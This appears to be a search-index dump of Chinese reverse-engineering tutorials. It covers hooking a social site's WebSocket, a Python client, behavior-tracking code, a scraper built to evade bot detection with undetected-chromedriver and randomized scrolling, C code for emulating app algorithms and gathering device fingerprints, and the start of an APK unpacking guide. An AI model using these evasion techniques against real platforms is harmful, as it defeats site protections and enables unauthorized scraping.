SocialMediaWS(token='YOUR_TOKEN', user_id='12345') ws_client.connect() # 阻塞运行 ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:5:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#2-hook-websocket"},{"categories":null,"collections":null,"content":"逆向步骤 1. 观察 WebSocket 连接 在 Network 面板的 WS 标签中查看： // 连接建立 ws://example.com/ws?token=abc123\u0026userId=12345 // 接收消息 { \"type\": \"notification\", \"data\": { \"id\": \"notify_123\", \"type\": \"like\", \"from_user\": \"user_456\", \"post_id\": \"post_789\", \"timestamp\": 1702800000 } } // 发送消息（心跳） { \"type\": \"ping\", \"timestamp\": 1702800000 } 2. Hook WebSocket // Hook WebSocket 构造函数 const OriginalWebSocket = window.WebSocket; window.WebSocket = function (url, protocols) { console.log(\"[WebSocket] Connecting to:\", url); const ws = new OriginalWebSocket(url, protocols); // Hook onmessage const originalOnMessage = ws.onmessage; ws.onmessage = function (event) { console.log(\"[WebSocket] Received:\", event.data); if (originalOnMessage) { originalOnMessage.call(this, event); } }; // Hook send const originalSend = ws.send; ws.send = function (data) { console.log(\"[WebSocket] Sending:\", data); return originalSend.call(this, data); }; return ws; }; 3. Python 实现 WebSocket 客户端 import websocket import json import threading import time class SocialMediaWS: def __init__(self, token, user_id): self.token = token self.user_id = user_id self.ws = None self.running = False def on_message(self, ws, message): \"\"\"接收消息回调\"\"\" data = json.loads(message) print(f'[Received] {data}') if data['type'] == 'notification': self.handle_notification(data['data']) def on_error(self, ws, error): \"\"\"错误回调\"\"\" print(f'[Error] {error}') def on_close(self, ws, close_status_code, close_msg): \"\"\"关闭回调\"\"\" print(f'[Closed] Code: {close_status_code}, Message: {close_msg}') self.running = False def on_open(self, ws): \"\"\"连接建立回调\"\"\" print('[Connected]') self.running = True # 启动心跳线程 threading.Thread(target=self.send_heartbeat, daemon=True).start() def send_heartbeat(self): \"\"\"发送心跳\"\"\" while self.running: if self.ws: ping_msg = json.dumps({ 'type': 'ping', 'timestamp': int(time.time()) }) self.ws.send(ping_msg) print('[Heartbeat] Sent') time.sleep(30) # 每30秒一次 def handle_notification(self, data): \"\"\"处理通知\"\"\" notif_type = data['type'] if notif_type == 'like': print(f\"User {data['from_user']} liked your post {data['post_id']}\") elif notif_type == 'comment': print(f\"User {data['from_user']} commented on your post\") elif notif_type == 'follow': print(f\"User {data['from_user']} followed you\") def connect(self): \"\"\"建立连接\"\"\" url = f\"ws://example.com/ws?token={self.token}\u0026userId={self.user_id}\" self.ws = websocket.WebSocketApp( url, on_open=self.on_open, on_message=self.on_message, on_error=self.on_error, on_close=self.on_close ) # 运行（阻塞） self.ws.run_forever() def disconnect(self): \"\"\"断开连接\"\"\" self.running = False if self.ws: self.ws.close() # 使用 ws_client = SocialMediaWS(token='YOUR_TOKEN', user_id='12345') ws_client.connect() # 阻塞运行 ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:5:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#3-python-实现-websocket-客户端"},{"categories":null,"collections":null,"content":"案例五：推荐算法参数逆向 ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:6:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#案例五推荐算法参数逆向"},{"categories":null,"collections":null,"content":"背景 社交媒体的推荐算法会根据用户行为调整内容： 点赞、评论、分享 停留时间 滚动速度 交互频率 这些数据通过 API 发送到服务器。 ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:6:1","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#背景-4"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析行为上报 POST /api/behavior HTTP/1.1 Content-Type: application/json { \"session_id\": \"sess_123\", \"events\": [ { \"type\": \"view\", \"post_id\": \"post_789\", \"duration\": 5.2, // 停留时间（秒） \"timestamp\": 1702800000 }, { \"type\": \"like\", \"post_id\": \"post_789\", \"timestamp\": 1702800005 }, { \"type\": \"share\", \"post_id\": \"post_789\", \"platform\": \"wechat\", \"timestamp\": 1702800010 } ] } 2. 定位行为追踪代码 // 追踪帖子浏览 const observer = new IntersectionObserver((entries) =\u003e { entries.forEach((entry) =\u003e { if (entry.isIntersecting) { const postId = entry.target.dataset.postId; const viewStart = Date.now(); // 记录开始时间 viewTimers[postId] = viewStart; } else { const postId = entry.target.dataset.postId; if (viewTimers[postId]) { const duration = (Date.now() - viewTimers[postId]) / 1000; // 上报浏览事件 trackEvent({ type: \"view\", post_id: postId, duration: duration, }); delete viewTimers[postId]; } } }); }); // 监听所有帖子 document.querySelectorAll(\".post\").forEach((post) =\u003e { observer.observe(post); }); // 追踪点赞 function handleLike(postId) { trackEvent({ type: \"like\", post_id: postId, timestamp: Date.now(), }); // 实际的点赞请求 fetch(\"/api/like\", { method: \"POST\", body: JSON.stringify({ post_id: postId }), }); } 3. 批量上报优化 // 批量收集事件 let eventQueue = []; function trackEvent(event) { event.timestamp = Date.now(); eventQueue.push(event); // 达到阈值或超时后批量发送 if (eventQueue.length \u003e= 10) { flushEvents(); } } function flushEvents() { if (eventQueue.length === 0) return; fetch(\"/api/behavior\", { method: \"POST\", headers: { \"Content-Type\": \"application/json\" }, body: JSON.stringify({ session_id: sessionId, events: eventQueue, }), }); eventQueue = []; } // 定时刷新 setInterval(flushEvents, 30000); // 每30秒 // 页面卸载时发送 window.addEventListener(\"beforeunload\", flushEvents); ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:6:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#逆向步骤-4"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析行为上报 POST /api/behavior HTTP/1.1 Content-Type: application/json { \"session_id\": \"sess_123\", \"events\": [ { \"type\": \"view\", \"post_id\": \"post_789\", \"duration\": 5.2, // 停留时间（秒） \"timestamp\": 1702800000 }, { \"type\": \"like\", \"post_id\": \"post_789\", \"timestamp\": 1702800005 }, { \"type\": \"share\", \"post_id\": \"post_789\", \"platform\": \"wechat\", \"timestamp\": 1702800010 } ] } 2. 定位行为追踪代码 // 追踪帖子浏览 const observer = new IntersectionObserver((entries) =\u003e { entries.forEach((entry) =\u003e { if (entry.isIntersecting) { const postId = entry.target.dataset.postId; const viewStart = Date.now(); // 记录开始时间 viewTimers[postId] = viewStart; } else { const postId = entry.target.dataset.postId; if (viewTimers[postId]) { const duration = (Date.now() - viewTimers[postId]) / 1000; // 上报浏览事件 trackEvent({ type: \"view\", post_id: postId, duration: duration, }); delete viewTimers[postId]; } } }); }); // 监听所有帖子 document.querySelectorAll(\".post\").forEach((post) =\u003e { observer.observe(post); }); // 追踪点赞 function handleLike(postId) { trackEvent({ type: \"like\", post_id: postId, timestamp: Date.now(), }); // 实际的点赞请求 fetch(\"/api/like\", { method: \"POST\", body: JSON.stringify({ post_id: postId }), }); } 3. 批量上报优化 // 批量收集事件 let eventQueue = []; function trackEvent(event) { event.timestamp = Date.now(); eventQueue.push(event); // 达到阈值或超时后批量发送 if (eventQueue.length \u003e= 10) { flushEvents(); } } function flushEvents() { if (eventQueue.length === 0) return; fetch(\"/api/behavior\", { method: \"POST\", headers: { \"Content-Type\": \"application/json\" }, body: JSON.stringify({ session_id: sessionId, events: eventQueue, }), }); eventQueue = []; } // 定时刷新 setInterval(flushEvents, 30000); // 每30秒 // 页面卸载时发送 window.addEventListener(\"beforeunload\", flushEvents); ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:6:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#1-抓包分析行为上报"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析行为上报 POST /api/behavior HTTP/1.1 Content-Type: application/json { \"session_id\": \"sess_123\", \"events\": [ { \"type\": \"view\", \"post_id\": \"post_789\", \"duration\": 5.2, // 停留时间（秒） \"timestamp\": 1702800000 }, { \"type\": \"like\", \"post_id\": \"post_789\", \"timestamp\": 1702800005 }, { \"type\": \"share\", \"post_id\": \"post_789\", \"platform\": \"wechat\", \"timestamp\": 1702800010 } ] } 2. 定位行为追踪代码 // 追踪帖子浏览 const observer = new IntersectionObserver((entries) =\u003e { entries.forEach((entry) =\u003e { if (entry.isIntersecting) { const postId = entry.target.dataset.postId; const viewStart = Date.now(); // 记录开始时间 viewTimers[postId] = viewStart; } else { const postId = entry.target.dataset.postId; if (viewTimers[postId]) { const duration = (Date.now() - viewTimers[postId]) / 1000; // 上报浏览事件 trackEvent({ type: \"view\", post_id: postId, duration: duration, }); delete viewTimers[postId]; } } }); }); // 监听所有帖子 document.querySelectorAll(\".post\").forEach((post) =\u003e { observer.observe(post); }); // 追踪点赞 function handleLike(postId) { trackEvent({ type: \"like\", post_id: postId, timestamp: Date.now(), }); // 实际的点赞请求 fetch(\"/api/like\", { method: \"POST\", body: JSON.stringify({ post_id: postId }), }); } 3. 批量上报优化 // 批量收集事件 let eventQueue = []; function trackEvent(event) { event.timestamp = Date.now(); eventQueue.push(event); // 达到阈值或超时后批量发送 if (eventQueue.length \u003e= 10) { flushEvents(); } } function flushEvents() { if (eventQueue.length === 0) return; fetch(\"/api/behavior\", { method: \"POST\", headers: { \"Content-Type\": \"application/json\" }, body: JSON.stringify({ session_id: sessionId, events: eventQueue, }), }); eventQueue = []; } // 定时刷新 setInterval(flushEvents, 30000); // 每30秒 // 页面卸载时发送 window.addEventListener(\"beforeunload\", flushEvents); ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:6:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#2-定位行为追踪代码"},{"categories":null,"collections":null,"content":"逆向步骤 1. 抓包分析行为上报 POST /api/behavior HTTP/1.1 Content-Type: application/json { \"session_id\": \"sess_123\", \"events\": [ { \"type\": \"view\", \"post_id\": \"post_789\", \"duration\": 5.2, // 停留时间（秒） \"timestamp\": 1702800000 }, { \"type\": \"like\", \"post_id\": \"post_789\", \"timestamp\": 1702800005 }, { \"type\": \"share\", \"post_id\": \"post_789\", \"platform\": \"wechat\", \"timestamp\": 1702800010 } ] } 2. 定位行为追踪代码 // 追踪帖子浏览 const observer = new IntersectionObserver((entries) =\u003e { entries.forEach((entry) =\u003e { if (entry.isIntersecting) { const postId = entry.target.dataset.postId; const viewStart = Date.now(); // 记录开始时间 viewTimers[postId] = viewStart; } else { const postId = entry.target.dataset.postId; if (viewTimers[postId]) { const duration = (Date.now() - viewTimers[postId]) / 1000; // 上报浏览事件 trackEvent({ type: \"view\", post_id: postId, duration: duration, }); delete viewTimers[postId]; } } }); }); // 监听所有帖子 document.querySelectorAll(\".post\").forEach((post) =\u003e { observer.observe(post); }); // 追踪点赞 function handleLike(postId) { trackEvent({ type: \"like\", post_id: postId, timestamp: Date.now(), }); // 实际的点赞请求 fetch(\"/api/like\", { method: \"POST\", body: JSON.stringify({ post_id: postId }), }); } 3. 批量上报优化 // 批量收集事件 let eventQueue = []; function trackEvent(event) { event.timestamp = Date.now(); eventQueue.push(event); // 达到阈值或超时后批量发送 if (eventQueue.length \u003e= 10) { flushEvents(); } } function flushEvents() { if (eventQueue.length === 0) return; fetch(\"/api/behavior\", { method: \"POST\", headers: { \"Content-Type\": \"application/json\" }, body: JSON.stringify({ session_id: sessionId, events: eventQueue, }), }); eventQueue = []; } // 定时刷新 setInterval(flushEvents, 30000); // 每30秒 // 页面卸载时发送 window.addEventListener(\"beforeunload\", flushEvents); ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:6:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#3-批量上报优化"},{"categories":null,"collections":null,"content":"反爬虫对抗 ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:7:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#反爬虫对抗"},{"categories":null,"collections":null,"content":"常见检测手段 频率限制 单 IP 每分钟请求限制 账号每日爬取上限 行为分析 鼠标移动轨迹 滚动行为 停留时间分布 设备指纹 Canvas 指纹 WebGL 指纹 字体指纹 验证码 滑块验证 图片识别 行为验证 ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:7:1","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#常见检测手段"},{"categories":null,"collections":null,"content":"绕过策略 import undetected_chromedriver as uc from selenium.webdriver.common.by import By import time import random class StealthScraper: def __init__(self): # 使用 undetected-chromedriver 绕过检测 options = uc.ChromeOptions() options.add_argument('--disable-blink-features=AutomationControlled') self.driver = uc.Chrome(options=options) def human_like_scroll(self): \"\"\"模拟真人滚动\"\"\" # 随机滚动距离 scroll_distance = random.randint(300, 700) # 分多次滚动（模拟真人） for _ in range(random.randint(3, 6)): self.driver.execute_script(f\"window.scrollBy(0, {random.randint(50, 150)})\") time.sleep(random.uniform(0.1, 0.3)) # 停顿 time.sleep(random.uniform(1, 3)) def scrape_feed(self): \"\"\"爬取信息流\"\"\" self.driver.get('https://example.com/feed') time.sleep(3) posts = [] for page in range(5): # 模拟真人滚动 self.human_like_scroll() # 提取帖子 post_elements = self.driver.find_elements(By.CLASS_NAME, 'post') for elem in post_elements: posts.append({ 'id': elem.get_attribute('data-post-id'), 'text': elem.find_element(By.CLASS_NAME, 'text').text }) # 随机停顿 time.sleep(random.uniform(2, 5)) return posts # 使用 scraper = StealthScraper() posts = scraper.scrape_feed() ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:7:2","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#绕过策略"},{"categories":null,"collections":null,"content":"总结 社交媒体逆向的关键技术： 分页机制理解 游标分页 时间戳分页 ID 分页 API 逆向 REST API GraphQL WebSocket 签名与加密 URL 签名 参数加密 Token 生成 行为模拟 鼠标轨迹 滚动行为 随机延迟 反检测 设备指纹伪造 代理轮换 无头浏览器检测绕过 ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:8:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#总结"},{"categories":null,"collections":null,"content":"相关章节 API 逆向工程 WebSocket 逆向 动态参数分析 浏览器指纹识别 ","date":"2025-03-23","objectID":"/reverse_engineering/web/05-case-studies/case_social_media/:9:0","tags":["Web","浏览器指纹","签名验证","Canvas指纹","案例分析","代理池"],"title":"社交媒体逆向案例","uri":"/reverse_engineering/web/05-case-studies/case_social_media/#相关章节"},{"categories":null,"collections":null,"content":"C 代码：用于运行时仿真与设备指纹生成 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： IDA Pro 指南 - 从 IDA 中提取算法逻辑 C/C++ 基础 - 理解指针、内存操作等概念 在逆向工程中，直接使用 C/C++ 编写一些辅助工具或重现目标逻辑是一种非常高效的策略。这可以帮助我们脱离复杂的 App 环境，对核心算法进行独立的测试、Fuzzing 或仿真。 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/:0:0","tags":["Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning","签名验证"],"title":"C 代码：用于运行时仿真与设备指纹生成","uri":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/#c-代码用于运行时仿真与设备指纹生成"},{"categories":null,"collections":null,"content":"1. 运行时仿真 (Runtime Emulation) 当我们在 SO 文件中定位到一个关键的核心算法（如自定义加密、签名生成）后，如果该算法逻辑清晰且依赖较少，最好的方法就是将其逻辑用 C/C++ “翻译\"一遍。 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/:1:0","tags":["Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning","签名验证"],"title":"C 代码：用于运行时仿真与设备指纹生成","uri":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/#1-运行时仿真-runtime-emulation"},{"categories":null,"collections":null,"content":"场景示例：重现一个简单的 XOR 加密算法 假设在 IDA Pro 中看到如下伪代码： // Decompiled pseudo-code from IDA void encrypt_data(char* data, int len) { for (int i = 0; i \u003c len; ++i) { data[i] = (data[i] ^ 0x5A) + 5; } } ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/:1:1","tags":["Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning","签名验证"],"title":"C 代码：用于运行时仿真与设备指纹生成","uri":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/#场景示例重现一个简单的-xor-加密算法"},{"categories":null,"collections":null,"content":"重现与验证代码 // emulate_encrypt.c #include \u003cstdio.h\u003e #include \u003cstring.h\u003e #include \u003cstdint.h\u003e // Re-implementation of the encryption algorithm void simulate_encrypt(char* data, size_t len) { for (size_t i = 0; i \u003c len; ++i) { data[i] = (data[i] ^ 0x5A) + 5; } } // Corresponding decryption for our own testing void simulate_decrypt(char* data, size_t len) { for (size_t i = 0; i \u003c len; ++i) { data[i] = (data[i] - 5) ^ 0x5A; } } // Helper function: Print hexadecimal void print_hex(const char* label, uint8_t* data, size_t len) { printf(\"%s: \", label); for (size_t i = 0; i \u003c len; i++) { printf(\"%02x \", data[i]); } printf(\"\\n\"); } int main() { char my_data[] = \"this_is_a_test_message\"; size_t len = strlen(my_data); printf(\"=== XOR Encryption Algorithm Test ===\\n\\n\"); printf(\"Original: %s\\n\", my_data); print_hex(\"Original HEX\", (uint8_t*)my_data, len); printf(\"\\n\"); // Encrypt it simulate_encrypt(my_data, len); printf(\"After encryption:\\n\"); print_hex(\"Encrypted HEX\", (uint8_t*)my_data, len); printf(\"\\n\"); // Decrypt it simulate_decrypt(my_data, len); printf(\"After decryption: %s\\n\", my_data); print_hex(\"Decrypted HEX\", (uint8_t*)my_data, len); return 0; } ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/:1:2","tags":["Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning","签名验证"],"title":"C 代码：用于运行时仿真与设备指纹生成","uri":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/#重现与验证代码"},{"categories":null,"collections":null,"content":"编译与运行 # 编译 gcc emulate_encrypt.c -o emulate # 运行 ./emulate # 输出: # === XOR Encryption Algorithm Test === # # Original: this_is_a_test_message # Original HEX: 74 68 69 73 5f 69 73 5f 61 5f 74 65 73 74 5f 6d ... # # After encryption: # Encrypted HEX: 29 37 38 2e 0a 38 2e 0a 3e 0a 29 3a 2e 29 0a 32 ... # # After decryption: this_is_a_test_message ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/:1:3","tags":["Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning","签名验证"],"title":"C 代码：用于运行时仿真与设备指纹生成","uri":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/#编译与运行"},{"categories":null,"collections":null,"content":"2. 设备指纹生成 (Device Fingerprint Generation) 许多 App 会通过读取 Android 系统的 build.prop 或其他系统属性来生成设备指纹，用于识别和跟踪设备。在进行自动化操作时，我们需要能够模拟这些指纹。 getprop 是 Android shell 中的一个命令，可以读取系统属性。我们也可以用 C 代码在 Native 层实现类似的功能，从而生成可以乱真的指纹数据。 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/:2:0","tags":["Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning","签名验证"],"title":"C 代码：用于运行时仿真与设备指纹生成","uri":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/#2-设备指纹生成-device-fingerprint-generation"},{"categories":null,"collections":null,"content":"场景示例：用 C 读取关键设备属性并生成 JSON // device_fingerprint.c #include \u003cstdio.h\u003e #include \u003cstdlib.h\u003e #include \u003cstring.h\u003e #include \u003ctime.h\u003e // A simple wrapper to execute a shell command and get its output // In a real scenario, you might use direct system calls for better performance/stealth char* get_prop(const char* key) { char command[256]; snprintf(command, sizeof(command), \"getprop %s\", key); FILE* fp = popen(command, \"r\"); if (fp == NULL) { return NULL; } char* line = malloc(256); if (fgets(line, 256, fp) == NULL) { free(line); pclose(fp); return NULL; } // Remove trailing newline line[strcspn(line, \"\\n\")] = 0; pclose(fp); return line; } int main() { // List of properties we want to fetch const char* props_to_fetch[] = { \"ro.product.brand\", \"ro.product.model\", \"ro.product.manufacturer\", \"ro.product.device\", \"ro.build.version.release\", \"ro.build.version.sdk\", \"ro.build.fingerprint\", \"ro.serialno\", \"ro.boot.serialno\" }; int num_props = sizeof(props_to_fetch) / sizeof(props_to_fetch[0]); printf(\"{\\n\"); printf(\" \\\"timestamp\\\": %ld,\\n\", time(NULL)); printf(\" \\\"device\\\": {\\n\"); for (int i = 0; i \u003c num_props; ++i) { char* value = get_prop(props_to_fetch[i]); if (value) { // Extract last part of property name for cleaner key const char* last_dot = strrchr(props_to_fetch[i], '.'); const char* key = last_dot ? last_dot + 1 : props_to_fetch[i]; printf(\" \\\"%s\\\": \\\"%s\\\"\", key, value); if (i \u003c num_props - 1) { printf(\",\"); } printf(\"\\n\"); free(value); } } printf(\" }\\n\"); printf(\"}\\n\"); return 0; } ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/:2:1","tags":["Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning","签名验证"],"title":"C 代码：用于运行时仿真与设备指纹生成","uri":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/#场景示例用-c-读取关键设备属性并生成-json"},{"categories":null,"collections":null,"content":"编译与运行 使用 Android NDK 进行交叉编译： # 设置 NDK 路径 (根据实际安装位置修改) export NDK_PATH=~/Android/Sdk/ndk/25.1.8937393 # 编译 (arm64 架构) $NDK_PATH/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \\ device_fingerprint.c -o fingerprint # 推送到设备 adb push fingerprint /data/local/tmp/ adb shell chmod +x /data/local/tmp/fingerprint # 运行 adb shell /data/local/tmp/fingerprint ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/:2:2","tags":["Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning","签名验证"],"title":"C 代码：用于运行时仿真与设备指纹生成","uri":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/#编译与运行-1"},{"categories":null,"collections":null,"content":"输出示例 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/:2:3","tags":["Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning","签名验证"],"title":"C 代码：用于运行时仿真与设备指纹生成","uri":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/#输出示例"},{"categories":null,"collections":null,"content":"3. 更复杂的算法仿真 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/:3:0","tags":["Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning","签名验证"],"title":"C 代码：用于运行时仿真与设备指纹生成","uri":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/#3-更复杂的算法仿真"},{"categories":null,"collections":null,"content":"示例：HMAC-SHA256 签名仿真 // hmac_sign.c #include \u003cstdio.h\u003e #include \u003cstring.h\u003e #include \u003copenssl/hmac.h\u003e #include \u003copenssl/sha.h\u003e void hmac_sha256(const char* key, const char* data, unsigned char* result) { unsigned int len = 32; HMAC(EVP_sha256(), key, strlen(key), (unsigned char*)data, strlen(data), result, \u0026len); } void print_hex(unsigned char* data, size_t len) { for (size_t i = 0; i \u003c len; i++) { printf(\"%02x\", data[i]); } printf(\"\\n\"); } int main() { const char* key = \"secret_key_12345\"; const char* data = \"user=test\u0026timestamp=1234567890\"; unsigned char result[32]; hmac_sha256(key, data, result); printf(\"HMAC-SHA256 Signature:\\n\"); print_hex(result, 32); return 0; } ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/:3:1","tags":["Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning","签名验证"],"title":"C 代码：用于运行时仿真与设备指纹生成","uri":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/#示例hmac-sha256-签名仿真"},{"categories":null,"collections":null,"content":"编译 # 需要链接 OpenSSL gcc hmac_sign.c -o hmac_sign -lssl -lcrypto # 运行 ./hmac_sign ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/:3:2","tags":["Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning","签名验证"],"title":"C 代码：用于运行时仿真与设备指纹生成","uri":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/#编译"},{"categories":null,"collections":null,"content":"4. 使用 Unidbg 进行 SO 仿真 对于复杂的 Native 算法，可以使用 Unidbg 进行完整仿真，而不需要手动翻译代码。 // Java 代码示例 (Unidbg) import com.github.unidbg.AndroidEmulator; import com.github.unidbg.linux.android.AndroidEmulatorBuilder; import com.github.unidbg.linux.android.dvm.DalvikModule; import com.github.unidbg.linux.android.dvm.VM; public class EmulatorExample { private AndroidEmulator emulator; private VM vm; private DalvikModule dm; public EmulatorExample() { // 创建模拟器 emulator = AndroidEmulatorBuilder .for64Bit() .setProcessName(\"com.example.app\") .build(); // 创建虚拟机 vm = emulator.createDalvikVM(); // 加载 SO 文件 dm = vm.loadLibrary(\"libnative-lib.so\", false); // 调用 JNI_OnLoad dm.callJNI_OnLoad(emulator); } public String callEncrypt(String input) { // 调用 Native 方法 // ... (具体实现取决于目标函数签名) return \"\"; } } ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/:4:0","tags":["Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning","签名验证"],"title":"C 代码：用于运行时仿真与设备指纹生成","uri":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/#4-使用-unidbg-进行-so-仿真"},{"categories":null,"collections":null,"content":"总结 使用 C/C++ 进行运行时仿真的优势： 独立测试: 脱离 App 环境，可以快速迭代测试 便于 Fuzzing: 可以对算法进行大规模模糊测试 性能优越: 相比在 App 内 Hook，独立运行效率更高 便于分享: 可以将仿真代码分享给团队其他成员 在实践中，建议结合动态分析（Frida Hook）和静态分析（IDA Pro）的结果，逐步完善仿真代码，直到输出与目标函数完全一致。 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/:5:0","tags":["Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning","签名验证"],"title":"C 代码：用于运行时仿真与设备指纹生成","uri":"/reverse_engineering/android/01-recipes/scripts/c_for_emulation/#总结"},{"categories":null,"collections":null,"content":"脱壳分析加固的 Android 应用 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： APK 结构解析 - 理解 DEX、Manifest 等文件结构 加固厂商识别 - 识别不同加固方案的特征 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:0:0","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#脱壳分析加固的-android-应用"},{"categories":null,"collections":null,"content":"问题场景 你在逆向分析一个 App 时遇到了以下情况： ❌ Jadx 打开 APK 后代码完全不可读，全是混淆的类名或空方法 ❌ classes.dex 文件异常小 (几十 KB)，不符合应用实际规模 ❌ 应用启动时检测到 Frida 并闪退，常规 Hook 无法生效 ❌ AndroidManifest.xml 中的 Application 入口被替换成可疑的壳类名 ❌ assets 或 lib 目录中存在加密文件，如 .dat、.bin 或奇怪命名的 .so 文件 这些都是应用被**加固(加壳)**的典型特征。加固技术通过加密 DEX 文件、抽取方法体、虚拟化指令等手段，让静态分析工具无法直接读取原始代码。本配方将教你如何识别、脱壳并恢复被加固的应用。 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:1:0","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#问题场景"},{"categories":null,"collections":null,"content":"工具清单 ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:2:0","tags":["Native层","签名验证","Frida","SSL Pinning","代理池","Ghidra"],"title":"脱壳分析加固的 Android 应用","uri":"/reverse_engineering/android/01-recipes/unpacking/un-packing/#工具清单"},{"categories":null,"collections":null,"content":"必需工具 Frida - 动态插桩框架 frida-dexdump - 自动化 DEX dumper (GitHub) ADB - 设备通信工具 Root 权限设备 或模拟器 (必须) ","date":"2025-03-22","objectID":"/reverse_engineering/android/01-recipes/unpacking/un-packing/:2:1","tags":["Native层","签名验证","Frida","SSL 